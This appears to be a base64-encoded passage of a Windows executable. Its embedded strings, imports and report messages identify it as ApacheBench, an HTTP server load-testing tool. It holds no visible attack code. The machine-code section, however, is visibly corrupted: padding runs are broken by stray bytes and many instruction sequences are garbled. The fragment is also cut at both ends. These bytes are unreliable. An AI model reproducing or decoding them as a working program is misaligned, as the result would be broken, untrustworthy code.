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AAgAoAAICXAACAcwAAgHQAAIBvAACAAAAAABMBX2lvYgAAWAJmcHJpbnRmALcCc3RyY2hyAACOAV9wY3R5cGUAYQBfX21iX2N1cl9tYXgAAEkCZXhpdAAAPQJhdG9pAAAVAV9pc2N0eXBlAACeAnByaW50ZgAArwJzaWduYWwAAJECbWFsbG9jAABAAmNhbGxvYwAATwJmZmx1c2gAAEwCZmNsb3NlAACcAnBlcnJvcgAAVwJmb3BlbgCkAnFzb3J0APEAX2Z0b2wAwQJzdHJuY3B5AMUCc3Ryc3RyAADAAnN0cm5jbXAAXgJmcmVlAADIAF9lcnJubwAAegBfX3BfX3dlbnZpcm9uAG0AX19wX19lbnZpcm9uAACnAnJlYWxsb2MAxAJzdHJzcG4AAJsCbW9kZgAAvAJzdHJlcnJvcgAA4wJ3Y3NjcHkAAOYCd2NzbGVuAACzAF9jbG9zZQAA6AJ3Y3NuY21wAMMCc3RycmNocgBNU1ZDUlQuZGxsAABVAF9fZGxsb25leGl0AIYBX29uZXhpdADTAF9leGl0AEgAX1hjcHRGaWx0ZXIAZABfX3BfX19pbml0ZW52AFgAX19nZXRtYWluYXJncwAPAV9pbml0dGVybQCDAF9fc2V0dXNlcm1hdGhlcnIAAJ0AX2FkanVzdF9mZGl2AABqAF9fcF9fY29tbW9kZQAAbwBfX3BfX2Ztb2RlAACBAF9fc2V0X2FwcF90eXBlAADKAF9leGNlcHRfaGFuZGxlcjMAALcAX2NvbnRyb2xmcAAAHQNTZXRMYXN0RXJyb3IAAO4ARnJlZUVudmlyb25tZW50U3RyaW5nc1cATwFHZXRFbnZpcm9ubWVudFN0cmluZ3NXAAD1AUdsb2JhbEZyZWUAAAkBR2V0Q29tbWFuZExpbmVXAFYDVGxzQWxsb2MAAFcDVGxzRnJlZQCMAER1cGxpY2F0ZUhhbmRsZQA6AUdldEN1cnJlbnRQcm9jZXNzABoDU2V0SGFuZGxlSW5mb3JtYXRpb24AAC4AQ2xvc2VIYW5kbGUAwAFHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQC8AEZpbGVUaW1lVG9TeXN0ZW1UaW1lAADYAUdldFRpbWVab25lSW5mb3JtYXRpb24AALsARmlsZVRpbWVUb0xvY2FsRmlsZVRpbWUATgNTeXN0ZW1UaW1lVG9GaWxlVGltZQAATwNTeXN0ZW1UaW1lVG9UelNwZWNpZmljTG9jYWxUaW1lAEkDU2xlZXAA6gBGb3JtYXRNZXNzYWdlQQAAaQFHZXRMYXN0RXJyb3IAAIUDV2FpdEZvclNpbmdsZU9iamVjdABJAENyZWF0ZUV2ZW50QQAALANTZXRTdGRIYW5kbGUAABADU2V0RmlsZVBvaW50ZXIAAE0AQ3JlYXRlRmlsZUEAUABDcmVhdGVGaWxlVwCMAUdldE92ZXJsYXBwZWRSZXN1bHQAgwBEZXZpY2VJb0NvbnRyb2wAWgFHZXRGaWxlSW5mb3JtYXRpb25CeUhhbmRsZQAAUgJMb2NhbEZyZWUAXgFHZXRGaWxlVHlwZQBaAENyZWF0ZU11dGV4QQAAGQJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uAHoARGVsZXRlQ3JpdGljYWxTZWN0aW9uAI8ARW50ZXJDcml0aWNhbFNlY3Rpb24AALgCUmVsZWFzZU11dGV4AAALA1NldEV2ZW50AABHAkxlYXZlQ3JpdGljYWxTZWN0aW9uAABRA1Rlcm1pbmF0ZVByb2Nlc3MAAFIBR2V0RXhpdENvZGVQcm9jZXNzAADfAUdldFZlcnNpb25FeEEAmAFHZXRQcm9jQWRkcmVzcwAASAJMb2FkTGlicmFyeUEAAJcDV3JpdGVGaWxlAKsCUmVhZEZpbGUAAIcCUGVla05hbWVkUGlwZQBLRVJORUwzMi5kbGwAAB0AQWxsb2NhdGVBbmRJbml0aWFsaXplU2lkAADhAEZyZWVTaWQAQURWQVBJMzIuZGxsAABXU09DSzMyLmRsbAA5AFdTQVNlbmQANABXU0FSZWN2AFdTMl8zMi5kbGwAAMUBX3N0cm5pY21wAL8BX3N0cmR1cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAZAAAAAEAAAABAAAAAQAAAAAAAACAw8kBAAAAAOALQQAyAAAAQgAAAEsAAABQAAAAWgAAAF8AAABiAAAAYwAAAGQAAAAlczogQ2Fubm90IHVzZSBjb25jdXJyZW5jeSBsZXZlbCBncmVhdGVyIHRoYW4gdG90YWwgbnVtYmVyIG9mIHJlcXVlc3RzCgAlczogSW52YWxpZCBDb25jdXJyZW5jeSBbUmFuZ2UgMC4uJWRdCgAAJXM6IGludmFsaWQgVVJMCgAAAAAlczogd3JvbmcgbnVtYmVyIG9mIGFyZ3VtZW50cwoAAFVzZXItQWdlbnQ6AEFjY2VwdDoASG9zdDoAAABQcm94eS1BdXRob3JpemF0aW9uOiBCYXNpYyAAUHJveHkgY3JlZGVudGlhbHMgdG9vIGxvbmcKAEF1dGhvcml6YXRpb246IEJhc2ljIAAAAEF1dGhlbnRpY2F0aW9uIGNyZWRlbnRpYWxzIHRvbyBsb25nCgAAAABDb29raWU6IAAAAAANCgAAQ2Fubm90IG1peCBQVVQgYW5kIEhFQUQKAAAAAENhbm5vdCBtaXggUE9TVCBhbmQgSEVBRAoAAABDYW5ub3QgbWl4IFBPU1QvUFVUIGFuZCBIRUFECgAAAEludmFsaWQgbnVtYmVyIG9mIHJlcXVlc3RzCgBuOmM6dDpiOlQ6cDp1OnY6cmtWaHdpeDp5Ono6QzpIOlA6QTpnOlg6ZGU6U3EAAABiZ2NvbG9yPXdoaXRlAAAAVG90YWwgb2YgJWQgcmVxdWVzdHMgY29tcGxldGVkCgAlcwoALi5kb25lCgBGaW5pc2hlZCAlZCByZXF1ZXN0cwoAAABhcHJfc29ja2V0X2Nvbm5lY3QoKQAAAAAKVGVzdCBhYm9ydGVkIGFmdGVyIDEwIGZhaWx1cmVzCgoAAAAKU2VydmVyIHRpbWVkIG91dAoKAGFwcl9wb2xsAAAAAGFwcl9zb2NrYWRkcl9pbmZvX2dldCgpIGZvciAlcwAAZXJyb3IgY3JlYXRpbmcgcmVxdWVzdCBidWZmZXI6IG91dCBvZiBtZW1vcnkKAAAASU5GTzogJXMgaGVhZGVyID09IAotLS0KJXMKLS0tCgBSZXF1ZXN0IHRvbyBsb25nCgAAACVzICVzIEhUVFAvMS4wDQolcyVzJXNDb250ZW50LWxlbmd0aDogJXUNCkNvbnRlbnQtdHlwZTogJXMNCiVzDQoAAAAAUFVUAFBPU1QAAAAAdGV4dC9wbGFpbgAAJXMgJXMgSFRUUC8xLjANCiVzJXMlcyVzDQoAAEhFQUQAAAAAR0VUAENvbm5lY3Rpb246IEtlZXAtQWxpdmUNCgAAAABBY2NlcHQ6ICovKg0KAAAAVXNlci1BZ2VudDogQXBhY2hlQmVuY2gvAAAAADIuMwBIb3N0OiAAAGFwcl9wb2xsc2V0X2NyZWF0ZSBmYWlsZWQAAAAoYmUgcGF0aWVudCklcwAALi4uAAoAAABbdGhyb3VnaCAlczolZF0gAAAAAEJlbmNobWFya2luZyAlcyAAAAAAJXM6ICVzICglZCkKAAAAAFNlbmQgcmVxdWVzdCBmYWlsZWQhCgAAAFNlbmQgcmVxdWVzdCB0aW1lZCBvdXQhCgAAAAAlcwklSTY0ZAklSTY0ZAklSTY0ZAklSTY0ZAklSTY0ZAoAAABzdGFydHRpbWUJc2Vjb25kcwljdGltZQlkdGltZQl0dGltZQl3YWl0CgAAAENhbm5vdCBvcGVuIGdudXBsb3Qgb3V0cHV0IGZpbGUAJWQsJS4zZgoAAAAAUGVyY2VudGFnZSBzZXJ2ZWQsVGltZSBpbiBtcwoAAABDYW5ub3Qgb3BlbiBDU1Ygb3V0cHV0IGZpbGUAdwAAACAgJWQlJSAgJTVJNjRkCgAgMTAwJSUgICU1STY0ZCAobG9uZ2VzdCByZXF1ZXN0KQoAAAAgMCUlICA8MD4gKG5ldmVyKQoAAApQZXJjZW50YWdlIG9mIHRoZSByZXF1ZXN0cyBzZXJ2ZWQgd2l0aGluIGEgY2VydGFpbiB0aW1lIChtcykKAABUb3RhbDogICAgICAlNUk2NGQgJTVJNjRkJTVJNjRkCgAAAABQcm9jZXNzaW5nOiAlNUk2NGQgJTVJNjRkJTVJNjRkCgAAAABDb25uZWN0OiAgICAlNUk2NGQgJTVJNjRkJTVJNjRkCgAAAAAgICAgICAgICAgICAgIG1pbiAgIGF2ZyAgIG1heAoAAFdBUk5JTkc6IFRoZSBtZWRpYW4gYW5kIG1lYW4gZm9yIHRoZSB0b3RhbCB0aW1lIGFyZSBub3Qgd2l0aGluIGEgbm9ybWFsIGRldmlhdGlvbgogICAgICAgIFRoZXNlIHJlc3VsdHMgYXJlIHByb2JhYmx5IG5vdCB0aGF0IHJlbGlhYmxlLgoAAAAAAAAAAEVSUk9SOiBUaGUgbWVkaWFuIGFuZCBtZWFuIGZvciB0aGUgdG90YWwgdGltZSBhcmUgbW9yZSB0aGFuIHR3aWNlIHRoZSBzdGFuZGFyZAogICAgICAgZGV2aWF0aW9uIGFwYXJ0LiBUaGVzZSByZXN1bHRzIGFyZSBOT1QgcmVsaWFibGUuCgBXQVJOSU5HOiBUaGUgbWVkaWFuIGFuZCBtZWFuIGZvciB0aGUgd2FpdGluZyB0aW1lIGFyZSBub3Qgd2l0aGluIGEgbm9ybWFsIGRldmlhdGlvbgogICAgICAgIFRoZXNlIHJlc3VsdHMgYXJlIHByb2JhYmx5IG5vdCB0aGF0IHJlbGlhYmxlLgoAAAAAAABFUlJPUjogVGhlIG1lZGlhbiBhbmQgbWVhbiBmb3IgdGhlIHdhaXRpbmcgdGltZSBhcmUgbW9yZSB0aGFuIHR3aWNlIHRoZSBzdGFuZGFyZAogICAgICAgZGV2aWF0aW9uIGFwYXJ0LiBUaGVzZSByZXN1bHRzIGFyZSBOT1QgcmVsaWFibGUuCgAAAAAAAABXQVJOSU5HOiBUaGUgbWVkaWFuIGFuZCBtZWFuIGZvciB0aGUgcHJvY2Vzc2luZyB0aW1lIGFyZSBub3Qgd2l0aGluIGEgbm9ybWFsIGRldmlhdGlvbgogICAgICAgIFRoZXNlIHJlc3VsdHMgYXJlIHByb2JhYmx5IG5vdCB0aGF0IHJlbGlhYmxlLgoAAABFUlJPUjogVGhlIG1lZGlhbiBhbmQgbWVhbiBmb3IgdGhlIHByb2Nlc3NpbmcgdGltZSBhcmUgbW9yZSB0aGFuIHR3aWNlIHRoZSBzdGFuZGFyZAogICAgICAgZGV2aWF0aW9uIGFwYXJ0LiBUaGVzZSByZXN1bHRzIGFyZSBOT1QgcmVsaWFibGUuCgAAAABXQVJOSU5HOiBUaGUgbWVkaWFuIGFuZCBtZWFuIGZvciB0aGUgaW5pdGlhbCBjb25uZWN0aW9uIHRpbWUgYXJlIG5vdCB3aXRoaW4gYSBub3JtYWwgZGV2aWF0aW9uCiAgICAgICAgVGhlc2UgcmVzdWx0cyBhcmUgcHJvYmFibHkgbm90IHRoYXQgcmVsaWFibGUuCgAAAEVSUk9SOiBUaGUgbWVkaWFuIGFuZCBtZWFuIGZvciB0aGUgaW5pdGlhbCBjb25uZWN0aW9uIHRpbWUgYXJlIG1vcmUgdGhhbiB0d2ljZSB0aGUgc3RhbmRhcmQKICAgICAgIGRldmlhdGlvbiBhcGFydC4gVGhlc2UgcmVzdWx0cyBhcmUgTk9UIHJlbGlhYmxlLgoAAAAAVG90YWw6ICAgICAgJTVJNjRkICU0STY0ZCAlNS4xZiAlNkk2NGQgJTdJNjRkCgAAV2FpdGluZzogICAgJTVJNjRkICU0STY0ZCAlNS4xZiAlNkk2NGQgJTdJNjRkCgAAUHJvY2Vz